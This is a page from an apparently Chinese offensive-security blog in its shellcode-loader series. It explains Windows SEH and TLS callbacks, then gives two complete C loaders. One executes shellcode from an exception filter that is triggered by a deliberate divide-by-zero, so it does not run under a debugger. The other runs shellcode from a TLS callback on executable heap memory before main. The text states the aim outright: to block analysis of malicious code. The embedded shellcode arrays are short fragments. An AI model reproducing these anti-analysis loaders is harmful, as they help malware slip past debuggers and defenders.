Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 基于SEH异常
  • 什么是SEH
  • 实现代码
  • 基于TLS机制
  • 什么是TLS
  • TLS回调函数
  • 实现代码
  1. Shellcode加载器

基于反调试加载

上一页基于APC注入加载下一页基于回调函数加载

最后更新于1年前

基于SEH异常

什么是SEH

SEH(Structured Exception Handling,结构化异常处理)是Windows操作系统中的一种错误处理和异常处理机制。SEH提供了一种强大、灵活且通用的方法来处理异常,它使得开发者能够为应用程序中发生的运行时错误和异常编写自定义的处理代码

SEH的工作原理是在程序中建立一个异常处理函数链。每个异常处理函数都负责处理特定的异常。当程序运行时遇到异常,操作系统会沿着异常处理函数链寻找适当的处理函数。如果找到合适的异常处理函数,系统将调用该函数并处理异常。如果没有找到合适的处理函数,系统将终止程序

在C++中,可以使用_try、_except和_finally关键字来实现SEH异常处理。_try块包含可能引发异常的代码;_except块包含处理异常的代码;而_finally块包含在任何情况下都应执行的代码,无论是否发生异常

SEH的一个重要特点是它与语言无关,因此可以在C、C++等语言中使用。然而,C++提供了另一种异常处理机制:C++异常处理(try、catch和throw关键字)。C++异常处理机制更符合C++语言的面向对象特性,通常在C++程序中更为常用。然而,在某些情况下,SEH仍然具有独特的优势,例如在处理特定的Windows异常或与C代码交互时

实现代码

这种方式加载shellcode的一个好处就是在调试器环境下和正常运行环境下表现不同。当程序在调试器中运行时,调试器会接管异常处理,从而使得程序在除零异常处停止,而不会执行shellcode。这使得恶意代码的执行在调试环境下被阻止,为分析和调试带来困难

#include<Windows.h>
#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")

// 存储要执行的shellcode
char shellcode[] = 
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

int a = 1;
int b = 0;

// 定义异常处理函数
int ExceptFilter()
{	
	b = 1; // 修改b的值为1,以防止无限循环的异常处理
	((void(*)(void)) & shellcode)(); // 强制转换shellcode的类型,并执行
	return EXCEPTION_CONTINUE_EXECUTION; // 在处理完异常后,程序继续执行异常发生位置的代码
	/*
	EXCEPTION_CONTINUE_EXECUTION返回值会导致程序在处理完异常后重新执行引发异常的那一行代码。
	由于ExceptFilter函数已经修改了变量b的值(将其设置为1),再次执行a / b时将不会触发异常。
	因此,这个程序不会反复加载shellcode
	*/

	/*
	异常处理函数的返回值除了有EXCEPTION_CONTINUE_EXECUTION,还有以下两个值:
	EXCEPTION_EXECUTE_HANDLER:异常处理器已处理异常,程序应在_except块内继续执行
	EXCEPTION_CONTINUE_SEARCH:异常处理器未处理异常,程序应继续搜索其他异常处理器
	*/

}

int main()
{
	_try // 尝试执行可能引发异常的代码块
	{	
		int c = a / b; // 故意执行除零操作以触发异常
	}
	
	_except(ExceptFilter()) { // 当异常发生时,调用ExceptFilter函数处理

	};

	return 0;
}

基于TLS机制

什么是TLS

线程局部存储(Thread Local Storage,TLS)是一种将数据与特定执行线程关联的机制。当在一个线程内部的各个函数调用之间共享数据,但不让其他线程访问时,可以使用TLS

TLS回调函数

TLS提供了一个回调函数,在线程初始化和终止时会被调用,这个回调函数会在程序入口点(即main函数)之前执行,调试器通常会在主函数入口点设置断点,因此TLS回调函数经常被用作反调试手段

TLS回调函数允许我们编写并执行任意代码。TLS有两种类型:静态TLS和动态TLS。静态TLS将TLS相关数据硬编码在PE(Portable Executable)文件中,而动态TLS在运行时分配和管理TLS数据。

静态TLS是将TLS相关数据硬编码在PE(Portable Executable,可执行文件)中。静态TLS存储在PE头的IMAGE_DATA_DIRECTORY DataDirectory[9]位置,可以通过该位置找到TLS目录的详细信息

通过在TLS回调函数中加载和执行shellcode,我们可以在程序的正常执行流之前运行这段代码。这种方法可以绕过调试器设置的断点,增加分析和调试的难度

TLS回调函数遵循特殊的编写约定,与DLL主函数类似。回调函数使用以下类型定义:

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
 PVOID DllHandle, //DLL模块的句柄
 DWORD Reason, //调用原因。这个参数与DLL调用时的原因相同,例如:DLL_PROCESS_ATTACH(当进程加载DLL时)、DLL_THREAD_ATTACH(当线程创建时)等
 PVOID Reserved  //保留参数,通常用于区分DLL是显式加载还是隐式加载
 );

实现代码

这段代码的核心目的是在程序启动时,通过TLS回调函数来执行Shellcode,而不是在主函数中执行

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") 

//用于存放shellcode的数组
unsigned char shellcode[] = 
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";


//TLS回调函数
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{	
		HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

		char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

		memcpy(buffer, shellcode, sizeof(shellcode));

		((void(*)(void)) buffer)();
	}

}

//确保链接器在生成可执行文件时包含TLS相关的符号,即确保链接器知道程序使用了TLS功能和自定义的TLS回调函数
#pragma comment (linker, "/INCLUDE:__tls_used")  
#pragma comment (linker, "/INCLUDE:__tls_callback")



//这行代码告诉编译器,接下来的数据(如变量定义)将放置在名为.CRT$XLB的数据段中。
//.CRT$XLB是一个特殊的数据段名称,链接器将在其中寻找TLS回调函数的地址
#pragma data_seg (".CRT$XLB")

//这行代码定义了一个名为_tls_callback的变量,其类型为PIMAGE_TLS_CALLBACK(一个指向TLS回调函数的指针)。
//此变量被初始化为指向TlsCallBack函数的地址
//由于我们在第一行代码中使用了#pragma data_seg指令,_tls_callback变量将被放置在.CRT$XLB数据段中
//.CRT$XLB是一个特定的数据段名称,与C运行时(C Runtime,CRT)机制有关。在这个名称中,各部分的含义如下:
//.CRT:这个前缀表示该数据段与C运行时机制相关。
//$:这个符号在数据段名称中用作分隔符。
//XL:这两个字符表示该数据段用于存储TLS回调函数地址。在链接器处理TLS回调时,它会查找具有这个前缀的数据段。
//B:这个字母表示数据段的顺序。这个字符可以是字母表中的B到Y之间的任意一个字母。这意味着可以定义多个TLS回调,链接器会按照字母顺序调用它们。
//需要注意的是,.CRT$XLA和.CRT$XLZ这两个数据段名称是保留的,用于C运行时库的内部实现,因此不应在用户代码中使用
//EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;

//这行代码告诉编译器恢复默认的数据段。
//这意味着在这个指令之后定义的数据(如变量定义)将被放置在默认的数据段中,而不是.CRT$XLB数据段
#pragma data_seg ()


int main()
{
	printf("tls回调函数执行完后才执行我!");
	return 0;
}
image-20240215165923897